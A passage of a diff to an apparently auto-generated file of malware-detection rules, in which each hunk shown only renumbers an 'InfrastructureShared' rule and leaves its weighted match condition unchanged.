1)*25956+(#a_72_10 & 1)*29803) >=8 } -rule _InfrastructureShared_18670{ +rule _InfrastructureShared_19851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -227317,7 +241866,7 @@ rule _InfrastructureShared_18670{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*23553+(#a_01_2 & 1)*6912+(#a_6e_4 & 1)*23553+(#a_67_5 & 1)*26988+(#a_69_6 & 1)*29797+(#a_69_8 & 1)*385+(#a_21_9 & 1)*12610) >=10 } -rule _InfrastructureShared_18671{ +rule _InfrastructureShared_19852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -227334,7 +241883,7 @@ rule _InfrastructureShared_18671{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*27694+(#a_59_2 & 1)*385+(#a_00_3 & 1)*29546+(#a_52_4 & 1)*385+(#a_50_5 & 1)*24937+(#a_00_7 & 1)*78+(#a_00_9 & 1)*95) >=10 } -rule _InfrastructureShared_18672{ +rule _InfrastructureShared_19853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -227353,7 +241902,7 @@ rule _InfrastructureShared_18672{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*100+(#a_00_2 & 1)*80+(#a_75_3 & 1)*26994+(#a_54_4 & 1)*21076+(#a_00_5 & 1)*449+(#a_04_6 & 1)*-32511+(#a_01_8 & 1)*-100+(#a_77_9 & 1)*0+(#a_01_10 & 1)*-30464) >=11 } -rule _InfrastructureShared_18673{ +rule _InfrastructureShared_19854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0b 00 21 " @@ -227372,7 +241921,7 @@ rule _InfrastructureShared_18673{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*9357+(#a_00_2 & 1)*-4991+(#a_03_3 & 1)*1025+(#a_00_4 & 1)*99+(#a_6e_5 & 1)*22330+(#a_4d_6 & 1)*15424+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1) >=1 } -rule _InfrastructureShared_18674{ +rule _InfrastructureShared_19855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0c 00 21 " @@ -227391,7 +241940,7 @@ rule _InfrastructureShared_18674{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*-30464+(#a_45_2 & 1)*276+(#a_4d_3 & 1)*20488+(#a_78_4 & 1)*24431+(#a_69_5 & 1)*16941+(#a_00_6 & 1)*314+(#a_00_8 & 1)*107+(#a_3a_9 & 1)*24938+(#a_00_10 & 1)*0) >=1 } -rule _InfrastructureShared_18675{ +rule _InfrastructureShared_19856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 07 00 21 " @@ -227405,7 +241954,7 @@ rule _InfrastructureShared_18675{ ((#a_5f_0 & 1)*25635+(#a_65_1 & 1)*23568+(#a_00_3 & 1)*95+(#a_00_5 & 1)*97+(#a_4d_6 & 1)*13106) >=2 } -rule _InfrastructureShared_18676{ +rule _InfrastructureShared_19857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -227416,7 +241965,7 @@ rule _InfrastructureShared_18676{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0) >=3 } -rule _InfrastructureShared_18677{ +rule _InfrastructureShared_19858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -227434,7 +241983,7 @@ rule _InfrastructureShared_18677{ ((#a_54_0 & 1)*18467+(#a_37_1 & 1)*17460+(#a_3d_2 & 1)*26994+(#a_31_3 & 1)*274+(#a_32_4 & 1)*12357+(#a_6c_5 & 1)*26723+(#a_75_6 & 1)*8295+(#a_65_7 & 1)*30067+(#a_01_8 & 1)*30720) >=3 } -rule _InfrastructureShared_18678{ +rule _InfrastructureShared_19859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -227453,7 +242002,7 @@ rule _InfrastructureShared_18678{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*13312+(#a_64_2 & 1)*29793+(#a_2c_3 & 1)*9592+(#a_6d_4 & 1)*25601+(#a_61_5 & 1)*25633+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1) >=3 } -rule _InfrastructureShared_18679{ +rule _InfrastructureShared_19860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0e 00 21 " @@ -227475,7 +242024,7 @@ rule _InfrastructureShared_18679{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28567+(#a_78_2 & 1)*29279+(#a_2e_3 & 1)*4608+(#a_71_4 & 1)*400+(#a_6e_5 & 1)*26158+(#a_63_6 & 1)*810+(#a_41_8 & 1)*8448+(#a_69_9 & 1)*25924+(#a_5f_10 & 1)*26952+(#a_40_11 & 1)*25956+(#a_63_12 & 1)*29807+(#a_00_13 & 1)*114) >=3 } -rule _InfrastructureShared_18680{ +rule _InfrastructureShared_19861{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0f 00 21 " @@ -227496,7 +242045,7 @@ rule _InfrastructureShared_18680{ ((#a_46_0 & 1)*16675+(#a_48_1 & 1)*25705+(#a_69_2 & 1)*384+(#a_64_3 & 1)*24941+(#a_41_5 & 1)*8448+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_01_8 & 1)*1+(#a_03_9 & 1)*1+(#a_77_10 & 1)*0+(#a_20_13 & 1)*8224+(#a_90_14 & 1)*0) >=3 } -rule _InfrastructureShared_18681{ +rule _InfrastructureShared_19862{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -227508,7 +242057,7 @@ rule _InfrastructureShared_18681{ ((#a_46_0 & 1)*16675+(#a_7a_1 & 1)*24922+(#a_2d_2 & 1)*14637) >=4 } -rule _InfrastructureShared_18682{ +rule _InfrastructureShared_19863{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -227520,7 +242069,7 @@ rule _InfrastructureShared_18682{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*400+(#a_00_4 & 1)*8458) >=5 } -rule _InfrastructureShared_18683{ +rule _InfrastructureShared_19864{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -227533,7 +242082,7 @@ rule _InfrastructureShared_18683{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*101+(#a_00_2 & 1)*115+(#a_00_4 & 1)*117) >=5 } -rule _InfrastructureShared_18684{ +rule _InfrastructureShared_19865{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -227551,7 +242100,7 @@ rule _InfrastructureShared_18684{ ((#a_46_0 & 1)*16675+(#a_36_1 & 1)*16707+(#a_45_2 & 1)*17973+(#a_01_3 & 1)*12611+(#a_32_4 & 1)*16694+(#a_45_5 & 1)*17200+(#a_53_6 & 1)*-32458+(#a_72_7 & 1)*30580+(#a_61_8 & 1)*28261) >=7 } -rule _InfrastructureShared_18685{ +rule _InfrastructureShared_19866{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -227570,7 +242119,7 @@ rule _InfrastructureShared_18685{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25956+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_77_6 & 1)*0+(#a_01_7 & 1)*5120+(#a_65_8 & 1)*24948+(#a_65_9 & 1)*25964) >=10 } -rule _InfrastructureShared_18686{ +rule _InfrastructureShared_19867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -227589,7 +242138,7 @@ rule _InfrastructureShared_18686{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*21340+(#a_28_2 & 1)*-32494+(#a_74_3 & 1)*29284+(#a_74_4 & 1)*31337+(#a_6c_5 & 1)*25710+(#a_6c_6 & 1)*24948+(#a_39_7 & 1)*-32487+(#a_6c_8 & 1)*28783+(#a_6f_9 & 1)*21562) >=10 } -rule _InfrastructureShared_18687{ +rule _InfrastructureShared_19868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -227607,7 +242156,7 @@ rule _InfrastructureShared_18687{ ((#a_54_0 & 1)*18467+(#a_24_1 & 1)*-32497+(#a_6b_2 & 1)*24939+(#a_65_3 & 1)*29285+(#a_69_4 & 1)*29532+(#a_4a_5 & 1)*25650+(#a_31_6 & 1)*21347+(#a_6d_7 & 1)*21582+(#a_74_8 & 1)*20075) >=10 } -rule _InfrastructureShared_18688{ +rule _InfrastructureShared_19869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -227626,7 +242175,7 @@ rule _InfrastructureShared_18688{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*13129+(#a_63_2 & 1)*18007+(#a_62_3 & 1)*21042+(#a_61_4 & 1)*16944+(#a_30_5 & 1)*28520+(#a_31_6 & 1)*12667+(#a_31_8 & 1)*31489+(#a_00_9 & 1)*32050+(#a_31_10 & 1)*385) >=11 } -rule _InfrastructureShared_18689{ +rule _InfrastructureShared_19870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -227646,7 +242195,7 @@ rule _InfrastructureShared_18689{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*9252+(#a_32_2 & 1)*12593+(#a_31_4 & 1)*31489+(#a_00_5 & 1)*32050+(#a_31_6 & 1)*385+(#a_42_7 & 1)*12801+(#a_43_8 & 1)*16947+(#a_36_9 & 1)*14385+(#a_44_10 & 1)*16945+(#a_32_11 & 1)*13105) >=13 } -rule _InfrastructureShared_18690{ +rule _InfrastructureShared_19871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -227663,7 +242212,7 @@ rule _InfrastructureShared_18690{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*14645+(#a_32_2 & 1)*12857+(#a_32_3 & 1)*17719+(#a_36_4 & 1)*17665+(#a_44_5 & 1)*16705+(#a_73_6 & 1)*24909+(#a_00_8 & 1)*105) >=1 } -rule _InfrastructureShared_18691{ +rule _InfrastructureShared_19872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -227675,7 +242224,7 @@ rule _InfrastructureShared_18691{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*32+(#a_00_3 & 1)*116) >=2 } -rule _InfrastructureShared_18692{ +rule _InfrastructureShared_19873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -227688,7 +242237,7 @@ rule _InfrastructureShared_18692{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*100+(#a_79_3 & 1)*25454+(#a_67_4 & 1)*19538) >=2 } -rule _InfrastructureShared_18693{ +rule _InfrastructureShared_19874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -227706,7 +242255,7 @@ rule _InfrastructureShared_18693{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*8225+(#a_30_2 & 1)*11585+(#a_30_3 & 1)*11585+(#a_7f_4 & 1)*-1+(#a_01_5 & 1)*-28632+(#a_3c_6 & 1)*10547+(#a_66_7 & 1)*26478+(#a_74_8 & 1)*25205) >=3 } -rule _InfrastructureShared_18694{ +rule _InfrastructureShared_19875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -227719,7 +242268,7 @@ rule _InfrastructureShared_18694{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12410+(#a_65_2 & 1)*25442+(#a_01_3 & 1)*-28628) >=4 } -rule _InfrastructureShared_18695{ +rule _InfrastructureShared_19876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -227733,7 +242282,7 @@ rule _InfrastructureShared_18695{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*300+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1) >=4 } -rule _InfrastructureShared_18696{ +rule _InfrastructureShared_19877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -227747,7 +242296,7 @@ rule _InfrastructureShared_18696{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*11569+(#a_44_2 & 1)*11569+(#a_38_3 & 1)*11574+(#a_30_4 & 1)*12848) >=5 } -rule _InfrastructureShared_18697{ +rule _InfrastructureShared_19878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -227764,7 +242313,7 @@ rule _InfrastructureShared_18697{ ((#a_54_0 & 1)*18467+(#a_67_1 & 1)*28514+(#a_65_2 & 1)*25971+(#a_01_3 & 1)*9728+(#a_64_4 & 1)*28515+(#a_00_5 & 1)*2304+(#a_61_6 & 1)*28773+(#a_6e_7 & 1)*29300) >=8 } -rule _InfrastructureShared_18698{ +rule _InfrastructureShared_19879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0e 00 21 " @@ -227786,7 +242335,7 @@ rule _InfrastructureShared_18698{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*28781+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_78_9 & 1)*0+(#a_65_10 & 1)*29555+(#a_72_11 & 1)*28021+(#a_6f_13 & 1)*20481) >=14 } -rule _InfrastructureShared_18699{ +rule _InfrastructureShared_19880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -227811,7 +242360,7 @@ rule _InfrastructureShared_18699{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_79_15 & 1)*0) >=16 } -rule _InfrastructureShared_18700{ +rule _InfrastructureShared_19881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -227823,7 +242372,7 @@ rule _InfrastructureShared_18700{ ((#a_46_0 & 1)*16675+(#a_6a_1 & 1)*28508+(#a_39_2 & 1)*12297) >=3 } -rule _InfrastructureShared_18701{ +rule _InfrastructureShared_19882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -227836,7 +242385,7 @@ rule _InfrastructureShared_18701{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*25449+(#a_28_2 & 1)*28001+(#a_73_3 & 1)*30789) >=3 } -rule _InfrastructureShared_18702{ +rule _InfrastructureShared_19883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -227850,7 +242399,7 @@ rule _InfrastructureShared_18702{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*105+(#a_00_3 & 1)*115+(#a_00_5 & 1)*101+(#a_6f_6 & 1)*29795) >=3 } -rule _InfrastructureShared_18703{ +rule _InfrastructureShared_19884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -227864,7 +242413,7 @@ rule _InfrastructureShared_18703{ ((#a_46_0 & 1)*16675+(#a_76_1 & 1)*21249+(#a_00_3 & 1)*101+(#a_00_5 & 1)*115+(#a_9c_6 & 1)*17183) >=6 } -rule _InfrastructureShared_18704{ +rule _InfrastructureShared_19885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -227880,7 +242429,7 @@ rule _InfrastructureShared_18704{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28423+(#a_2e_2 & 1)*25971+(#a_01_3 & 1)*30720+(#a_04_4 & 1)*-28632+(#a_12_5 & 1)*11019+(#a_04_6 & 1)*-28561) >=7 } -rule _InfrastructureShared_18705{ +rule _InfrastructureShared_19886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -227895,7 +242444,7 @@ rule _InfrastructureShared_18705{ ((#a_54_0 & 1)*18467+(#a_1f_3 & 1)*0+(#a_08_4 & 1)*-21966+(#a_89_5 & 1)*6407+(#a_00_6 & 1)*28530+(#a_06_7 & 1)*1025) >=8 } -rule _InfrastructureShared_18706{ +rule _InfrastructureShared_19887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -227913,7 +242462,7 @@ rule _InfrastructureShared_18706{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*17966+(#a_72_2 & 1)*28531+(#a_50_3 & 1)*19795+(#a_70_4 & 1)*17665+(#a_01_5 & 1)*8704+(#a_39_6 & 1)*13364+(#a_73_7 & 1)*25458+(#a_73_8 & 1)*28274) >=9 } -rule _InfrastructureShared_18707{ +rule _InfrastructureShared_19888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -227932,7 +242481,7 @@ rule _InfrastructureShared_18707{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*31090+(#a_34_2 & 1)*12639+(#a_64_3 & 1)*25136+(#a_54_4 & 1)*18467+(#a_65_5 & 1)*29285+(#a_6c_6 & 1)*30575+(#a_73_7 & 1)*29801+(#a_00_8 & 1)*71+(#a_55_9 & 1)*31) >=10 } -rule _InfrastructureShared_18708{ +rule _InfrastructureShared_19889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -227951,7 +242500,7 @@ rule _InfrastructureShared_18708{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29285+(#a_6c_2 & 1)*30575+(#a_73_3 & 1)*29801+(#a_00_4 & 1)*71+(#a_55_5 & 1)*31+(#a_00_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_00_9 & 1)*1) >=10 } -rule _InfrastructureShared_18709{ +rule _InfrastructureShared_19890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0e 00 21 " @@ -227973,7 +242522,7 @@ rule _InfrastructureShared_18709{ ((#a_54_0 & 1)*18467+(#a_55_1 & 1)*21536+(#a_00_2 & 1)*618+(#a_69_3 & 1)*20590+(#a_6e_4 & 1)*22330+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_03_8 & 1)*5+(#a_00_9 & 1)*5+(#a_01_10 & 1)*5+(#a_79_11 & 1)*0+(#a_30_12 & 1)*14689+(#a_77_13 & 1)*29250) >=12 } -rule _InfrastructureShared_18710{ +rule _InfrastructureShared_19891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 06 00 21 " @@ -227985,7 +242534,7 @@ rule _InfrastructureShared_18710{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*114+(#a_00_4 & 1)*112) >=16 } -rule _InfrastructureShared_18711{ +rule _InfrastructureShared_19892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 0a 00 21 " @@ -228003,7 +242552,7 @@ rule _InfrastructureShared_18711{ ((#a_46_0 & 1)*16675+(#a_35_1 & 1)*9217+(#a_61_2 & 1)*24884+(#a_62_3 & 1)*25910+(#a_74_4 & 1)*25956+(#a_62_5 & 1)*17409+(#a_00_6 & 1)*68+(#a_00_7 & 1)*88+(#a_00_9 & 1)*1) >=16 } -rule _InfrastructureShared_18712{ +rule _InfrastructureShared_19893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 07 00 21 " @@ -228017,7 +242566,7 @@ rule _InfrastructureShared_18712{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*100+(#a_00_3 & 1)*115+(#a_00_5 & 1)*32+(#a_01_6 & 1)*-14640) >=20 } -rule _InfrastructureShared_18713{ +rule _InfrastructureShared_19894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -228027,7 +242576,7 @@ rule _InfrastructureShared_18713{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_18714{ +rule _InfrastructureShared_19895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 07 00 21 " @@ -228043,7 +242592,7 @@ rule _InfrastructureShared_18714{ ((#a_46_0 & 1)*21283+(#a_73_1 & 1)*26693+(#a_02_2 & 1)*21871+(#a_4c_3 & 1)*28793+(#a_61_4 & 1)*28530+(#a_69_5 & 1)*29043+(#a_74_6 & 1)*28206) >=4 } -rule _InfrastructureShared_18715{ +rule _InfrastructureShared_19896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0d 00 21 " @@ -228062,7 +242611,7 @@ rule _InfrastructureShared_18715{ ((#a_46_0 & 1)*16675+(#a_6d_2 & 1)*29697+(#a_74_4 & 1)*384+(#a_65_5 & 1)*28192+(#a_90_6 & 1)*-30392+(#a_4c_7 & 1)*400+(#a_95_8 & 1)*18432+(#a_69_9 & 1)*30027+(#a_0f_10 & 1)*-28672+(#a_00_11 & 1)*115) >=4 } -rule _InfrastructureShared_18716{ +rule _InfrastructureShared_19897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -228075,7 +242624,7 @@ rule _InfrastructureShared_18716{ ((#a_4c_0 & 1)*21539+(#a_48_1 & 1)*400+(#a_e8_3 & 1)*-30392+(#a_48_4 & 1)*19712) >=5 } -rule _InfrastructureShared_18717{ +rule _InfrastructureShared_19898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -228090,7 +242639,7 @@ rule _InfrastructureShared_18717{ ((#a_41_0 & 1)*20515+(#a_2e_1 & 1)*25972+(#a_00_3 & 1)*111+(#a_5c_4 & 1)*25939+(#a_00_5 & 1)*114+(#a_00_6 & 1)*115) >=5 } -rule _InfrastructureShared_18718{ +rule _InfrastructureShared_19899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -228105,7 +242654,7 @@ rule _InfrastructureShared_18718{ ((#a_6c_0 & 1)*16675+(#a_00_1 & 1)*46+(#a_00_2 & 1)*112+(#a_00_4 & 1)*68+(#a_33_5 & 1)*12848+(#a_72_6 & 1)*28767) >=7 } -rule _InfrastructureShared_18719{ +rule _InfrastructureShared_19900{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -228121,7 +242670,7 @@ rule _InfrastructureShared_18719{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*12657+(#a_5d_2 & 1)*30062+(#a_00_3 & 1)*101+(#a_6f_4 & 1)*11890+(#a_65_5 & 1)*25964+(#a_61_6 & 1)*25960) >=7 } -rule _InfrastructureShared_18720{ +rule _InfrastructureShared_19901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0b 00 21 " @@ -228141,7 +242690,7 @@ rule _InfrastructureShared_18720{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_02_8 & 1)*2+(#a_7a_9 & 1)*0+(#a_6e_10 & 1)*29550) >=12 } -rule _InfrastructureShared_18721{ +rule _InfrastructureShared_19902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -228162,7 +242711,7 @@ rule _InfrastructureShared_18721{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*23653+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_7a_11 & 1)*0) >=12 } -rule _InfrastructureShared_18722{ +rule _InfrastructureShared_19903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 0f 00 21 " @@ -228186,7 +242735,7 @@ rule _InfrastructureShared_18722{ ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*25924+(#a_72_2 & 1)*29761+(#a_5f_3 & 1)*24931+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1) >=15 } -rule _InfrastructureShared_18723{ +rule _InfrastructureShared_19904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -228208,7 +242757,7 @@ rule _InfrastructureShared_18723{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*18177+(#a_6f_2 & 1)*385+(#a_72_3 & 1)*29806+(#a_53_4 & 1)*21076+(#a_00_5 & 1)*68+(#a_00_7 & 1)*65+(#a_00_8 & 1)*55+(#a_00_9 & 1)*54+(#a_00_11 & 1)*54+(#a_6f_12 & 1)*24430+(#a_00_13 & 1)*67+(#a_00_15 & 1)*110) >=16 } -rule _InfrastructureShared_18724{ +rule _InfrastructureShared_19905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -228219,7 +242768,7 @@ rule _InfrastructureShared_18724{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*51) >=1 } -rule _InfrastructureShared_18725{ +rule _InfrastructureShared_19906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -228230,7 +242779,7 @@ rule _InfrastructureShared_18725{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*112) >=1 } -rule _InfrastructureShared_18726{ +rule _InfrastructureShared_19907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -228243,7 +242792,7 @@ rule _InfrastructureShared_18726{ ((#a_46_0 & 1)*16675+(#a_04_1 & 1)*21329+(#a_e4_2 & 1)*-30404+(#a_8b_3 & 1)*9308) >=1 } -rule _InfrastructureShared_18727{ +rule _InfrastructureShared_19908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -228256,7 +242805,7 @@ rule _InfrastructureShared_18727{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*57+(#a_00_3 & 1)*122+(#a_39_4 & 1)*12297) >=2 } -rule _InfrastructureShared_18728{ +rule _InfrastructureShared_19909{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -228268,7 +242817,7 @@ rule _InfrastructureShared_18728{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*16384+(#a_00_4 & 1)*79) >=5 } -rule _InfrastructureShared_18729{ +rule _InfrastructureShared_19910{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -228282,7 +242831,7 @@ rule _InfrastructureShared_18729{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*110+(#a_00_2 & 1)*110+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_18730{ +rule _InfrastructureShared_19911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -228296,7 +242845,7 @@ rule _InfrastructureShared_18730{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-32512+(#a_01_3 & 1)*0+(#a_6b_4 & 